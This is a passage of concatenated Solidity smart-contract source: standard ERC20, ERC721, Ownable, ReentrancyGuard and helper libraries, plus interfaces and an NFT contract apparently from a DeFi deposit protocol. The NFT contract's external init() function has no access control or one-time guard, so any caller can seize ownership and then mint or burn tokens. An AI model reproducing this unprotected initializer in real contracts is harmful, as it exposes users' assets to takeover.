`amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity ^0.5.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; // Decimal math library library DecMath { using SafeMath for uint256; uint256 internal constant PRECISION = 10**18; function decmul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISION); } function decdiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISION).div(b); } } pragma solidity 0.5.17; // Interface for money market protocols (Compound, Aave, bZx, etc.) interface IMoneyMarket { function deposit(uint256 amount) external; function withdraw(uint256 amountInUnderlying) external returns (uint256 actualAmountWithdrawn); function claimRewards() external; // Claims farmed tokens (e.g. COMP, CRV) and sends it to the rewards pool function totalValue() external returns (uint256); // The total value locked in the money market, in terms of the underlying stablecoin function incomeIndex() external returns (uint256); // Used for calculating the interest generated (e.g. cDai's price for the Compound market) function stablecoin() external view returns (address); function setRewards(address newValue) external; event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); } pragma solidity 0.5.17; interface IFeeModel { function beneficiary() external view returns (address payable); function getFee(uint256 _txAmount) external pure returns (uint256 _feeAmount); } pragma solidity 0.5.17; interface IInterestModel { function calculateInterestAmount( uint256 depositAmount, uint256 depositPeriodInSeconds, uint256 moneyMarketInterestRatePerSecond, bool surplusIsNegative, uint256 surplusAmount ) external view returns (uint256 interestAmount); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC721/ERC721Metadata.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; contract NFT is ERC721Metadata("", ""), Ownable { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; string internal _contractURI; string internal _tokenName; string internal _tokenSymbol; function init( address newOwner, string calldata tokenName, string calldata tokenSymbol ) external { _transferOwnership(newOwner); _tokenName = tokenName; _tokenSymbol = tokenSymbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _tokenName; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _tokenSymbol; } function contractURI() external view returns (string memory) { return _contractURI; } function mint(address to, uint256 tokenId) external onlyOwner { _safeMint(to, tokenId); } function burn(uint256 tokenId) external onlyOwner { _burn(tokenId); } function setContractURI(string calldata newURI) external onlyOwner { _contractURI = newURI; } function setTokenURI(uint256 tokenId, string calldata newURI) external onlyOwner { _setTokenURI(tokenId, newURI); } function setBaseURI(string calldata newURI) external onlyOwner { _setBaseURI(newURI); } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./ERC721.sol"; import "./IERC721Metadata.sol"; import "../../introspection/ERC165.sol"; contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Base URI string private _baseURI; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the URI for a given token ID. May return an empty string. * * If the token's URI is non-empty and a base URI was set (via * {_setBaseURI}), it will be added to the token ID's URI as a prefix. * * Reverts if the token ID does not exist. */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_tokenURI).length == 0) { return ""; } else { // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_baseURI, _tokenURI)); } } /** * @dev Internal function to set the token URI for a given token. * * Reverts if the token ID does not exist. * * TIP: if all token IDs share a prefix (e.g. if your URIs look like * `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store * it and save gas. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}. * * _Available since v2.5.0._ */ function _setBaseURI(string memory baseURI) internal { _baseURI = baseURI; } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a preffix in {tokenURI} to each token's URI, when * they are non-empty. * * _Available since v2.5.0._ */ function baseURI() external view returns (string memory) { return _baseURI; } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../drafts/Counters.sol"; import "../../introspection/ERC165.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This is an internal detail of the `ERC721` contract and its use is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data )); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } /** * @dev Private function to clear current approval of a given token ID. * 